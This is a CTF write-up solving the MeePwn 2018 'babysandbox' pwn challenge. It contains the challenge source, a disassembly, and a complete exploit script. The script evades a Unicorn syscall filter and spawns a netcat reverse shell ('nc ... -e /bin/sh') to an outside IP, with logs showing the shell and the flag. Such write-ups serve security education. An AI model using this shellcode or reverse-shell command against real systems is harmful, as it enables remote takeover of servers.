The Meepwn CTF Quals 2018 (ctftime.org) ran from 13/07/2018, 19:00 UTC to 15/07/2018 19:00 UTC.
There were a lot of interesting-looking challenges. As always, time was the limiting factor 😉 I managed to spend 2 hours on saturday morning solving the pwn challenge babysandbox.
babysandbox (100 pts)
Challenge description
Do you know Unicorn engine? Let’s bypass my baby sandbox
http://178.128.100.75/
The website:
Source code
When choosing Get Source
the source code of the baby sandbox can be viewed:
from __future__ import print_function from flask import Flask, Response, render_template, session, request, jsonify, send_file import os from subprocess import run, STDOUT, PIPE, CalledProcessError from base64 import b64decode, b64encode from unicorn import * from unicorn.x86_const import * import codecs import time app = Flask(__name__) app.secret_key = open('private/secret.txt').read() ADDRESS = 0x1000000 sys_fork = 2 sys_read = 3 sys_write = 4 sys_open = 5 sys_close = 6 sys_execve = 11 sys_access = 33 sys_dup = 41 sys_dup2 = 63 sys_mmap = 90 sys_munmap = 91 sys_mprotect = 125 sys_sendfile = 187 sys_sendfile64 = 239 BADSYSCALL = [sys_fork, sys_read, sys_write, sys_open, sys_close, sys_execve, sys_access, sys_dup, sys_dup2, sys_mmap, sys_munmap, sys_mprotect, sys_sendfile, sys_sendfile64] # callback for tracing Linux interrupt def hook_intr(uc, intno, user_data): if intno != 0x80: uc.emu_stop() return eax = uc.reg_read(UC_X86_REG_EAX) if eax in BADSYSCALL: session['ISBADSYSCALL'] = True uc.emu_stop() def test_i386(mode, code): try: # Initialize emulator mu = Uc(UC_ARCH_X86, mode) # map 2MB memory for this emulation mu.mem_map(ADDRESS, 2 * 1024 * 1024) # write machine code to be emulated to memory mu.mem_write(ADDRESS, code) # initialize stack mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000) # handle interrupt ourself mu.hook_add(UC_HOOK_INTR, hook_intr) # emulate machine code in infinite time mu.emu_start(ADDRESS, ADDRESS + len(code)) except UcError as e: print("ERROR: %s" % e) @app.route('/') def main(): if session.get('ISBADSYSCALL') == None: session['ISBADSYSCALL'] = False return render_template('index.html', name="BABY") @app.route('/source', methods=['GET']) def resouce(): return send_file("app.py") @app.route('/bin', methods=['GET']) def bin(): return send_file("/home/babysandbox/babysandbox") @app.route('/exploit', methods=['POST']) def exploit(): try: data = request.get_json(force=True) except Exception: return jsonify({'result': 'Wrong data!'}) try: payload = b64decode(data['payload'].encode()) except: return jsonify({'result': 'Wrong data!'}) test_i386(UC_MODE_32, payload) if session['ISBADSYSCALL']: return jsonify({'result': 'Bad Syscall!'}) try: run(['nc', 'localhost', '9999'], input=payload, timeout=2, check=True) except CalledProcessError: return jsonify({'result': 'Error run file!'}) return jsonify({'result': "DONE!"}) if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)
So there is a flask web framework running on the server.
The /exploit
endpoint accepts a payload, which is passed to the function test_i386
before being passed to the actual binary running on port 9999
.
The function test_i386
uses unicorn to set up a basic environment to run the provided payload.
A hook is installed, which is called on every interrupt:
# handle interrupt ourself mu.hook_add(UC_HOOK_INTR, hook_intr)
Within the hook-handler, bad system calls are filtered out:
# callback for tracing Linux interrupt def hook_intr(uc, intno, user_data): if intno != 0x80: uc.emu_stop() return eax = uc.reg_read(UC_X86_REG_EAX) if eax in BADSYSCALL: session['ISBADSYSCALL'] = True uc.emu_stop()
When the payload contains bad system call, the session variable session['ISBADSYSCALL']
is set to True
.
When session['ISBADSYSCALL']
is True
, the payload is not passed to the actual binary:
if session['ISBADSYSCALL']: return jsonify({'result': 'Bad Syscall!'}) try: run(['nc', 'localhost', '9999'], input=payload, timeout=2, check=True)
Before we attempt to bypass the sandbox, let’s have a quick look at the binary, which can be retrieved by choosing Get Binary:
root@kali:~# r2 -A bin [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Use -AA or aaaa to perform additional experimental analysis. [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [0x000005d0]> afl 0x00000000 3 72 -> 73 sym.imp.__cxa_finalize 0x00000538 3 35 sym._init 0x00000570 2 16 -> 32 sym.imp.mprotect 0x00000580 2 16 -> 48 sym.imp.read 0x00000590 2 16 -> 48 sym.imp.mmap 0x000005a0 2 16 -> 48 sym.imp.__libc_start_main 0x000005b0 2 16 -> 48 sym.imp.close 0x000005c0 1 8 fcn.000005c0 0x000005c8 1 8 fcn.000005c8 0x000005d0 1 49 entry0 0x00000602 1 4 fcn.00000602 0x00000610 1 4 sym.__x86.get_pc_thunk.bx 0x00000620 4 55 sym.deregister_tm_clones 0x00000660 4 71 sym.register_tm_clones 0x000006b0 5 71 sym.__do_global_dtors_aux 0x00000700 4 60 -> 56 entry1.init 0x0000073c 1 4 sym.__x86.get_pc_thunk.dx 0x00000740 1 157 sym.main 0x000007e0 4 93 sym.__libc_csu_init 0x00000840 1 2 sym.__libc_csu_fini 0x00000844 1 20 sym._fini [0x000005d0]> pdf @ sym.main ;-- main: / (fcn) sym.main 157 | sym.main (); | ; var int local_ch @ ebp-0xc | ; var int local_4h_2 @ ebp-0x4 | ; var int local_4h @ esp+0x4 | ; XREFS: CALL 0x00000763 CALL 0x0000077b CALL 0x00000790 CALL 0x000007a1 CALL 0x000007b2 | ; XREFS: CALL 0x000007c3 | 0x00000740 8d4c2404 lea ecx, dword [local_4h] | 0x00000744 83e4f0 and esp, 0xfffffff0 | 0x00000747 ff71fc push dword [ecx - 4] | 0x0000074a 55 push ebp | 0x0000074b 89e5 mov ebp, esp | 0x0000074d 51 push ecx | 0x0000074e 83ec14 sub esp, 0x14 | 0x00000751 83ec08 sub esp, 8 | 0x00000754 6a00 push 0 | 0x00000756 6aff push -1 | 0x00000758 6a22 push 0x22 ; '"' | 0x0000075a 6a07 push 7 | 0x0000075c 6800010000 push 0x100 ; "`\b" | 0x00000761 6a00 push 0 (reloc.mmap_100) | 0x00000763 e8fcffffff call reloc.mmap_100 ; RELOC 32 mmap | 0x00000768 83c420 add esp, 0x20 | 0x0000076b 8945f4 mov dword [local_ch], eax | 0x0000076e 83ec04 sub esp, 4 | 0x00000771 6800010000 push 0x100 ; "`\b" | 0x00000776 ff75f4 push dword [local_ch] | 0x00000779 6a00 push 0 (reloc.read_124) | 0x0000077b e8fcffffff call reloc.read_124 ; RELOC 32 read | 0x00000780 83c410 add esp, 0x10 | 0x00000783 83ec04 sub esp, 4 | 0x00000786 6a05 push 5 | 0x00000788 6800010000 push 0x100 ; "`\b" | 0x0000078d ff75f4 push dword [local_ch] (reloc.mprotect_145) | 0x00000790 e8fcffffff call reloc.mprotect_145 ; RELOC 32 mprotect | 0x00000795 83c410 add esp, 0x10 | 0x00000798 a100000000 mov eax, dword [0] ; RELOC 32 | 0x0000079d 83ec0c sub esp, 0xc | 0x000007a0 50 push eax (reloc.close_162) | 0x000007a1 e8fcffffff call reloc.close_162 ; RELOC 32 close | 0x000007a6 83c410 add esp, 0x10 | 0x000007a9 a100000000 mov eax, dword [0] ; RELOC 32 | 0x000007ae 83ec0c sub esp, 0xc | 0x000007b1 50 push eax (reloc.close_179) | 0x000007b2 e8fcffffff call reloc.close_179 ; RELOC 32 close | 0x000007b7 83c410 add esp, 0x10 | 0x000007ba a100000000 mov eax, dword [0] ; RELOC 32 | 0x000007bf 83ec0c sub esp, 0xc | 0x000007c2 50 push eax (reloc.close_196) | 0x000007c3 e8fcffffff call reloc.close_196 ; RELOC 32 close | 0x000007c8 83c410 add esp, 0x10 | 0x000007cb 8b45f4 mov eax, dword [local_ch] | 0x000007ce ffd0 call eax | 0x000007d0 b800000000 mov eax, 0 | 0x000007d5 8b4dfc mov ecx, dword [local_4h_2] | 0x000007d8 c9 leave | 0x000007d9 8d61fc lea esp, dword [ecx - 4] \ 0x000007dc c3 ret
There is nothing really special. A new memory region is allocated using mmap
. Then the payload is stored in this memory using read
and finally the payload is executed (call eax
).
Solution
Which are the problems we have to face?
–> The binary itself accepts an arbitrary payload. The only think we have to bypass is the unicorn sandbox, which filters out bad systemcalls.
–> If we for example execute '/bin/sh'
we cannot directly interact with the shell, because run
spawns a new process whose stdin/stdout
is not bound to our socket.
How do we solve this problems?
–> The difference between the unicorn sandbox and the actual binary is that the sandbox runs the payload in a clean environment. The binary is in a specific state before the payload is executed by calling eax.
–> This call eax
instruction places the return address on the stack. This means that the top-value on the stack is != 0
. That is not the case in the clean environment in the sandbox.
–> This means that we can determine if we are in the sandbox, by comparing the top-value on the stack with 0.
–> If the value is 0, we are in the sandbox and just quit (system call exit
).
–> If the value is not 0, we are in the binary and run our actual payload (system call execve('/bin/sh')
).
–> Because we cannot directly interact with the shell on stdin/stdout
, we add a command to the payload, which is executed as a shell-command.
I ended up with the following python-script:
root@kali:~# cat expl.py #!/usr/bin/env python from pwn import * import requests url = 'http://178.128.100.75' shellcode = asm( 'mov eax, [esp]\n' 'test eax, eax\n' 'jz _exit\n' # if (sandbox) goto exit 'xor eax, eax\n' 'push eax\n' 'push 0x68732f2f\n' 'push 0x6e69622f\n' 'mov ebx, esp\n' 'mov ecx, eax\n' 'mov edx, eax\n' 'mov al, 0xb\n' 'int 0x80\n' # sys_execve('/bin/sh') '_exit:\n' 'mov ebx, 0\n' 'mov eax, 0x1\n' 'int 0x80' # sys_exit(0) ) cmd = 'nc -vn 12.34.56.78 31337 -e /bin/sh&' shellcode += (0x100-len(shellcode)) * '\x90' shellcode += cmd + '\n' s = requests.Session() s.get(url) log.info('got session-id: '+s.cookies.get('session')) r = s.post(url+'/exploit', data='{"payload":"'+shellcode.encode('base64').replace('\n','')+'"}') log.success('executed cmd \''+cmd+'\'')
The shellcode itself is straightforward: check if the top-value on the stack is 0. If it is not, call sys_execve('/bin/sh')
(we are in the actual binary).
I padded the shellcode to 0x100 bytes so that the call to read
takes all those 0x100 bytes and the additional bytes (cmd
) are interpreted as a shell-command.
I tried different shell-commands noticing that it did not seem to be possible to open a bind-shell. So I used a reverse shell, which is executed as a background job (&
), because the run
functions times out after 2 seconds, terminating the process if it is not executed as a background job.
Also notice that we first have to retrieve a valid session-id by visiting the main-page in order to assign a value to session['ISBADSYSCALL']
:
@app.route('/') def main(): if session.get('ISBADSYSCALL') == None: session['ISBADSYSCALL'] = False
Otherwise the following line within the /exploit
endpoint will raise an unknown key
error:
if session['ISBADSYSCALL']:
Flag
Running the scripts executed the command nc -vn 12.34.56.78 31337 -e /bin/sh&
on the server:
root@kali:~# ./expl.py [*] got session-id: eyJJU0JBRFNZU0NBTEwiOmZhbHNlfQ.DitsXA.NTCr2numdPTm-hvq5VMkhEJMeoY [+] executed cmd 'nc -vn 12.34.56.78 31337 -e /bin/sh&'
In another terminal a netcat-listener receives the reverse shell:
root@kali:~# nc -lvp 31337 listening on [any] 31337 ... 178.128.100.75: inverse host lookup failed: Unknown host connect to [192.168.1.30] from (UNKNOWN) [178.128.100.75] 50300 id uid=1000(babysandbox) gid=1000(babysandbox) groups=1000(babysandbox) ls -al total 92 drwxr-xr-x 1 root root 4096 Jul 13 17:47 . drwxr-xr-x 1 root root 4096 Jul 13 17:47 .. -rwxr-xr-x 1 root root 0 Jul 9 03:51 .dockerenv drwxr-xr-x 1 root root 4096 Jul 13 17:46 app drwxr-xr-x 1 root root 4096 Jul 13 14:48 bin drwxr-xr-x 2 root root 4096 Apr 24 08:34 boot drwxr-xr-x 5 root root 340 Jul 14 04:13 dev drwxr-xr-x 1 root root 4096 Jul 13 14:48 etc -rw-r--r-- 1 root root 53 Jul 13 17:47 flag drwxr-xr-x 1 root root 4096 Jul 9 03:51 home -rwxrwxrwx 1 root root 54 Jul 9 02:56 init.sh drwxr-xr-x 1 root root 4096 Jul 9 02:53 lib drwxr-xr-x 2 root root 4096 Jul 9 02:53 lib32 drwxr-xr-x 2 root root 4096 May 26 00:44 lib64 drwxr-xr-x 2 root root 4096 Jul 9 02:53 libx32 drwxr-xr-x 2 root root 4096 May 26 00:44 media drwxr-xr-x 2 root root 4096 May 26 00:44 mnt drwxr-xr-x 2 root root 4096 May 26 00:44 opt dr-xr-xr-x 118 root root 0 Jul 14 04:13 proc drwx------ 1 root root 4096 Jul 13 14:49 root drwxrwxr-- 1 root root 4096 Jul 14 04:13 run drwxr-xr-x 1 root root 4096 Jun 5 21:20 sbin drwxr-xr-x 2 root root 4096 May 26 00:44 srv dr-xr-xr-x 13 root root 0 Jul 9 02:56 sys drwx-wx-wt 1 root root 4096 Jul 14 07:36 tmp drwxr-xr-x 1 root root 4096 Jul 9 02:53 usr drwxr-xr-x 1 root root 4096 May 26 00:45 var cat flag MeePwnCTF{Unicorn_Engine_Is_So_Good_But_Not_Perfect} exit
Done! The flag is MeePwnCTF{Unicorn_Engine_Is_So_Good_But_Not_Perfect}
🙂